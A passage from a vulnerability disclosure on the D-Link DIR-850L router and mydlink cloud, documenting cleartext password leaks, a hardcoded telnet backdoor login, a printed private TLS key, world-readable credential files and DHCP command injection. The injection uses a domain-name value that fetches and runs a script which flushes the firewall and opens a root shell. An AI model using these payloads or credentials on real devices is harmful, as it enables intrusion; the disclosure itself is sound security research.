{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]}
The answer is, in cleartext (and contains the password of the device):
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"password","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
A GET
request is done too (the last one on the previous image), which allows to retrieve the password and the previous one (was changed in the router to confirm this fact):
The request is:
GET https://eu.mydlink.com/device/devices/DEVICE_ID?_=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1
And the answer is the same, with the previous password (plainPassword) and the new password (adminPassword):
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
Finally, a request is made from the NPAPI plug-in asking for a tunnel between the browser and the remote router:
The request to /tssm/tssml.php
will ask the remote Cloud platform to forward the traffic to the device number 3XXXXXXX.
This will provide the attacker information about the new-established TCP tunnel from the browser NPAPI extension to the DLINK 850L router, via the Cloud platform:
https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE
It appears the plugin listens on 127.0.0.1:50453/tcp
(HTTP) and 127.0.0.1:50454/tcp
(HTTP over SSL) as shown below:
Ok, let's browse http://127.0.0.1:50453/
. The traffic is sent to the remote router over the Cloud protocol.
By using the password leak found before (in the PUT
and GET
requests), the attacker can remotely pwn the router and update the firmware with a custom (backdoored) one:
These vulnerabilities may affect some Dlink NAS/routers/cameras.
On a side note, it is interesting to find that DLink is storing all the passwords of devices using the mydlink service in cleartext.
The MyDlink Cloud protocol is weak. No encryption is provided by default by this technology, it is only a basic TCP relay system. All the traffic is sent over TCP to remote Amazon server without proper encryption:
There are 2 TCP relays:
So, it appears, the router is reachable over this TCP tunnel using either HTTP and HTTPS. By default, you can see HTTP request AND HTTPS request from the browser (over the tunnel) to the router. About the HTTPS requests, the SSL certificate provided by the router is self-signed. Sus, an invalid certificate can be forged and used in order to successful MITM the device and intercept information. More, by default, a TCP relay for HTTP is made by the NPAPI plugin to the router as shown above.
Futhermore, the /mydlink/signalc
program running inside the router uses the MAC address of the device to get an unique identifier,
which will always be the same, even if the dlink device is reset or linked with a new dlink cloud account.
This allows Dlink to 'follow' the ownership of the device.
Hopefully, an user can change the MAC addresses of the device using the rgbin
binary (/usr/sbin/devdata
is a symlink to /usr/sbin/rgbin
and the used argv[0] must be devdata
to work):
# /usr/sbin/devdata dump # will dump all the configuration
# /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface
This program will only rewrite information over /dev/mtdblock/4
.
Finally, the mydlink interface allows the user to enter credentials for gmail/hotmail accounts, the credentials are then transfered to the routers using the tunnel established with the cloud protocol. It doesn't seem to be a good idea, as the traffic between the router and the Cloud platform is not encrypted or encrypted using a self-signed certificate without verification and the passwords are sent over this tunnel using the Internet.
These vulnerabilities may affect some Dlink NAS/routers/cameras (every device that supports the MyDlink cloud protocol).
Some wireshark (cleartext traffic and with self-signed certificate):
On revB, if you reset the device, the /etc/init0.d/S80mfcd.sh
init script will start the mfcd
binary with these arguments:
mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
mfcd
is in fact a telnetd server. the -u
flag defines the authorized user with the associated password ($image_sign
variable).
br0
is a bridge for these interfaces: eth0
, peth0
, wlan0
et wlan1
. This backdoor access can be only used from the LAN side.
user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
mfcd -i br0 -t 99999999999999999999999999999 &
exit
fi
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
mfcd &
fi
else
killall mfcd
fi
By using the login Alphanetworks
and the password wrgac25_dlink.2013gui_dir850l
, the attacker can get a root shell on the device:
user@kali:~/petage-dlink$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Login: Alphanetworks
Password: wrgac25_dlink.2013gui_dir850l
BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# echo what
what
#
Keys are hardcoded inside the firmware. The administration can be used using HTTPS. This allows an attacker to do SSL MITM:
# ls -la /etc/stunnel.key
-rwxr-xr-x 1 root root 1679 Jan 20 2017 /etc/stunnel.key
# cat /etc/stunnel.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk
MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O
g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau
j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE
ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI
kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+
uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN
vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS
3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb
b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h
IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1
t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo
MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF
rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1
CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC
n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2
a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I
eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/
I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA
S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b
gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/
C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM
Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb
MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ
1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg==
-----END RSA PRIVATE KEY-----
# cat /etc/stunnel_cert.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
87:6f:88:76:87:df:e7:78
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost
Validity
Not Before: Feb 22 06:04:36 2012 GMT
Not After : Feb 17 06:04:36 2032 GMT
Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:
fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:
35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:
c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:
79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:
44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:
e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:
15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:
ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:
4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:
9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:
19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:
84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:
01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:
9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:
98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:
ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:
7b:eb
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01
X509v3 Authority Key Identifier:
keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2
Signature Algorithm: sha1WithRSAEncryption
3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:
88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:
21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:
e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:
ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:
fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:
12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:
e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:
49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:
03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:
8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:
71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:
88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:
b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:
7e:d3:01:13
-----BEGIN CERTIFICATE-----
MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV
BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM
BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT
d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0
MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI
c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H
ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z
dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD
/pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D
9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l
l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q
7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft
e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH
ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz
0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB
BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl
UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2
84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj
346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o
docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK
L0K03Bik6/rxBA6n4v9drM1hKAF+0wET
-----END CERTIFICATE-----
The file htdocs/parentalcontrols/bind.php
allows to change DNS configuration.
It doesn't check authentication of the admin user.
An attacker can bruteforce the nonce (?nonce=integer
). There are no limitations of HTTP requests and no authentication method:
8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")
10 {
11 $Response="BindError";
12 }
13 else if(query("/runtime/device/uptime") > $uptime_limit)
14 {
15 $Response="BindTimeout";
16 }
The attacker can then define new DNS servers:
21 set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);
22 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);
23 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);
An attacker can use this vuln to forward traffic to server he/she controls (i.e.: custom Dlink Cloud servers, to take control over the dlink router).
It appears some files have weak permissions:
1. /var/passwd
/var/passwd
contains credentials in cleartext.
The permissions of /var/passwd
are: -rw-rw-rw- (666)
# ls -la /var/passwd
-rw-rw-rw- 1 root root 28 Jan 1 00:00 /var/passwd
# cat /var/passwd
"Admin" "password" "0"
2. /var/etc/hnapasswd
Note that an attacker can use /var/etc/hnapasswd to retrieve the password in cleartext too:
# cat /var/etc/hnapasswd
Admin:password
The permissions of /var/etc/hnapasswd
are: -rw-rw-rw- (666)
# ls -la /var/etc/hnapasswd
-rw-rw-rw- 1 root root 20 Jan 1 00:00 /var/etc/hnapasswd
3. /etc/shadow
/etc/shadow
is a symlink to /var/etc/passwd
. The file /var/etc/passwd
is world-readable, as shown below:
# ls -al /etc/shadow
lrwxrwxrwx 1 root root 15 Jan 20 2017 /etc/shadow -> /var/etc/shadow
# ls -la /var/etc/shadow
-rw-r--r-- 1 root root 93 Jan 1 00:00 /var/etc/shadow
This file contains a DES hash of the admin user.
# cat /var/etc/shadow
root:!:10956:0:99999:7:::
nobody:!:10956:0:99999:7:::
Admin:zVc1PPVw2VWMc:10956:0:99999:7:::
4. /var/run/storage_account_root
/var/run/storage_account_root
contains credentials in cleartext.
The permissions of /var/passwd
are: -rw-rw-rw- (666)
# ls -la /var/run/storage_account_root
-rw-rw-rw- 1 root root 40 Jan 1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root
admin:password,:::
jean-claude:dusse,:::
5. /var/run/hostapd*
The files /var/run/hostapd*
contain the wireless passphrase in cleartext.
The permissions of these files are: -rw-rw-rw- (666)
# ls -la /var/run/hostapd*
-rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan1wps.eap_user
-rw-rw-rw- 1 root root 1160 Jan 1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan0wps.eap_user
-rw-rw-rw- 1 root root 1170 Jan 1 00:00 /var/run/hostapd-wlan0.conf
# cat /var/run/hostapd*|grep -i pass
wpa_passphrase=aaaaa00000
wpa_passphrase=aaaaa00000
The DHCP client running on the router is vulnerable to several command injections as root.
Please use the dhcpd.conf file provided:
rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf
option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet 10.254.239.0 netmask 255.255.255.224 {
range 10.254.239.10 10.254.239.20;
option routers 10.254.239.1;
}
rasp-pwn-dlink# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0e:c6:aa:aa:aa
inet addr:10.254.239.1 Bcast:10.254.239.255 Mask:255.255.255.0
inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:129 errors:0 dropped:0 overruns:0 frame:0
TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11181 (10.9 KiB) TX bytes:49155 (48.0 KiB)
rasp-pwn-dlink# cat /var/www/html/dhcp-rce
#!/bin/sh
wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10
done ) &
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &
rasp-pwn-dlink# dhcpd eth1
Internet Systems Consortium DHCP Server 4.3.1
Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on Socket/fallback/fallback-net
rasp-pwn-dlink#
When doing a DHCP request at startup, the router connects from the WAN the remote HTTP server:
rasp-pwn-dlink# tail -f /var/log/nginx/access.log
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
And now we got a telnetd from the WAN:
rasp-pwn-dlink# telnet 10.254.239.10 110
Trying 10.254.239.10...
Connected to 10.254.239.10.
Escape character is '^]'.
BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# uname -ap
Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux
# cd /var
# ls -la
drwxr-xr-x 5 root root 0 Jan 1 00:00 etc
drwxr-xr-x 2 root root 0 Jan 1 1970 log
drwxr-xr-x 3 root root 0 Jan 1 00:00 run
drwxr-xr-x 2 root root 0 Jan 1 1970 sealpac
drwxr-xr-x 4 root root 0 Jan 1 00:00 tmp
drwxr-xr-x 2 root root 0 Jan 1 1970 dnrd
drwxr-xr-x 4 root root 0 Jan 1 1970 htdocs
-rw-r--r-- 1 root root 10 Jan 1 1970 TZ
drwxr-xr-x 2 root root 0 Jan 1 00:00 servd
-rw-r--r-- 1 root root 5588 Jan 1 1970 default_wifi.xml
-rw-rw-rw- 1 root root 28 Jan 1 00:00 passwd
drwxrwx--- 2 root root 0 Jan 1 00:00 session
srwxr-xr-x 1 root root 0 Jan 1 00:00 gpio_ctrl
-rw-r--r-- 1 root root 2 Jan 1 00:00 sys_op
drwxr-xr-x 2 root root 0 Jan 1 00:00 home
lrwxrwxrwx 1 root root 16 Jan 1 00:00 portal_share -> /var/tmp/storage
drwxr-xr-x 3 root root 0 Jan 1 00:00 proc
-rwxr-xr-x 1 root root 856 Jan 1 00:00 killrc0
drwxr-xr-x 2 root root 0 Jan 1 00:00 porttrigger
-rw-r--r-- 1 root root 383 Jan 1 00:00 re
-rwxrwxrwx 1 root root 10520 Jan 1 00:00 telnetd-dhcpd-wan
-rw-rw-rw- 1 root root 301 Jan 1 00:00 rendezvous.conf
-rw-rw-rw- 1 root root 523 Jan 1 00:00 stunnel.conf
-rw-rw-rw- 1 root root 282 Jan 1 00:00 topology.conf
-rw-rw-rw- 1 root root 394 Jan 1 00:00 lld2d.conf
-rw-r--r-- 1 root root 199 Jan 1 00:00 hosts
drwxr-xr-x 16 root root 241 Jan 20 2017 ..
drwxr-xr-x 14 root root 0 Jan 1 00:00 .
# cat re
#!/bin/sh
wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10
done ) &
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &
#
This telnetd access is reachable from the WAN and the LAN.
There are several WAN RCEs. The first problem is located here:
/etc/services/INET/inet_ipv4.php
94 $udhcpc_helper = "/var/servd/".$inf."-udhcpc.sh";
And you have command injections everywhere starting line 101.
99 fwrite(w,$udhcpc_helper,
100 '#!/bin/sh\n'.
101 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console\n'.
102 'phpsh '.$hlper.' ACTION=$1'.
103 ' INF='.$inf.
104 ' INET='.$inet.
105 ' MTU='.$mtu.
106 ' INTERFACE=$interface'.
107 ' IP=$ip'.
108 ' SUBNET=$subnet'.
109 ' BROADCAST=$broadcast'.
110 ' LEASE=$lease'.
111 ' "DOMAIN=$domain"'.
112 ' "ROUTER=$router"'.
113 ' "DNS='.$dns.'$dns"'.
114 ' "CLSSTROUT=$clsstrout"'.
115 ' "MSCLSSTROUT=$msclsstrout"'.
116 ' "SSTROUT=$sstrout"'.
117 ' "SCOPE=$scope"'.
118 ' "WINSTYPE=$winstype"'.
119 ' "WINS=$wins"'.
120 ' "SIXRDPFX=$sixrd_prefix"'.
121 ' "SIXRDPLEN=$sixrd_prefixlen"'.
122 ' "SIXRDMSKLEN=$sixrd_msklen"'.
123 ' "SIXRDBRIP=$sixrd_bripaddr"'.
124 ' "SDEST=$sdest"'.
125 ' "SSUBNET=$ssubnet"'.
126 ' "SROUTER=$srouter"\n'.
127 'exit 0\n'
128 );
As you can see, variables are not sanitized. One solution is also to inject commands using the /var/servd/$VAR-udhcpc.sh
script with $domain
(option domain-name
in isc-dhcp).
The WAN-1-udhcpc.sh
file will be generated and called by udhcpc
(udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh
)
# cat WAN-1-udhcpc.sh
#!/bin/sh
echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console
phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1 INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain" "ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout" "MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope" "WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix" "SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen" "SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet" "SROUTER=$srouter"
exit 0
So using this DNS configuration will work against the router:
option domain-name "`wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;`";
In the logs, we confirm the execution:
rasp-pwn-dlink# tail -f /var/log/nginx/access.log
10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
Note that you also have command injections inside some generated files (in /var/servd/
) using the ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;
payload:
# cat /var/servd/DHCPS4.LAN-1_start.sh
#!/bin/sh
rm -f /var/servd/LAN-1-udhcpd.lease
xmldbc -X /runtime/inf:1/dhcps4/leases
xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100
xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199
xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1
xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection
xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1
event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease"
udhcpd /var/servd/LAN-1-udhcpd.conf &
exit 0
exit 0
#
# cat /var/servd/DHCPS4.LAN-2_start.sh
#!/bin/sh
rm -f /var/servd/LAN-2-udhcpd.lease
xmldbc -X /runtime/inf:2/dhcps4/leases
xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100
xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199
xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1
xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection
